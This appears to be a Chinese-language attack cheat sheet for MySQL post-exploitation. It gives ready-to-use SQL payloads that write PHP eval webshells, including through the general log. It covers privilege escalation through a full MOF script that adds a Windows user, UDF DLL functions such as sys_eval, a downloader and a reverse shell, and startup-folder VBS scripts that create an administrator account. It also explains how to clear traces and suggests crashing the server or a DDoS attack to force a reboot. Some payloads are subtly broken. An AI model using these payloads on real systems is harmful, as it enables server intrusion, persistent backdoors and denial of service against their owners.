Mysql的写马与提权
密码读取
- 直接从配置文件中读取数据库账号密码
- 爆破账号密码
- 读取数据库目录中的user.MYD,root后的字符串为其用户加密值,在线解密或者hashcat即可
脱库
利用条件:
- 权限为root
- secure_file_priv没有具体值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
Into outfile
select * from test into outfile '/tmp/test.txt'
Into dumpfile
select * from test into dumpfile '/tmp/test.txt'
out file 与 dump file的脱裤区别
1.dumpfile只输出一行内容,outfile多行。
2.outfile函数在将数据写入到文件时会进行特殊格式转换 例如\n,则dumpfile则保持原数据格式。
若我们想把一个可执行2进制文件用into outfile
函数导出,事实上导出后就会被破坏
因为into outfile
函数会在行末端写入新行 更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏
这时候我们用into dumpfile
就能导出一个完整能执行的2进制 文件
into dumpfile
函数不对任何列或行进行终止,也不执行任何转义处理
写Web Shell
利用条件:
- 权限为root
- secure_file_priv没有具体值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
直接写入
select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php';
创建表
1.先创建数据表
CREATE table 'mysql'.'shell' ('webshell' text not null);
2.向表单中写入一句话
insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');
3.查询数据导出webshell
select 'webshell' from 'shell' into outfile 'c:\\1.php';
4.删除表,清理痕迹。
drop table if exists 'shell';
日志
1.查看genera文件配置情况
show global variables like "%genera%";
2.开启日志记录
set global general_log='on';
3.日志文件导出指定目录
set global general_log_file='C:/phpstudy/WWW/hp.php';
4.记录sql语句写马,演示一下,没有安全狗,直接传原马
select '<?php @eval($_POST["hp"]); ?>';
5.关闭记录
set global general_log=off;
提权
mof提权
MOF提权的条件要求十分严苛:
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
MOF文件:托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
公开的nullevt.mof利用代码:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
MOF文件利用:
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下
payload:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权:
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:
net.exe user localgroup administrator hpdoger /add\
关于MOF提权的弊端:
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
重启服务即可。
udf提权
什么是udf:UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
提权分析:udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
导出dll到指定目录:利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求
- Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
- Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。
将udf的自定义函数引入:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll' #引入sys_eval函数
其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;
常见的函数如下:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
执行命令:
select sys_eval('ipconfig');
添加用户/管理员
查用户
启动项提权
利用条件:
- 上传的目录必须具备可读写的权限
- 调用的 cmd 也必须有足够的权限
利用SQL命令来进行VBS脚本的创建及添加。
create table secist(cmd text);
insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);
select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务,让管理员重启服务器。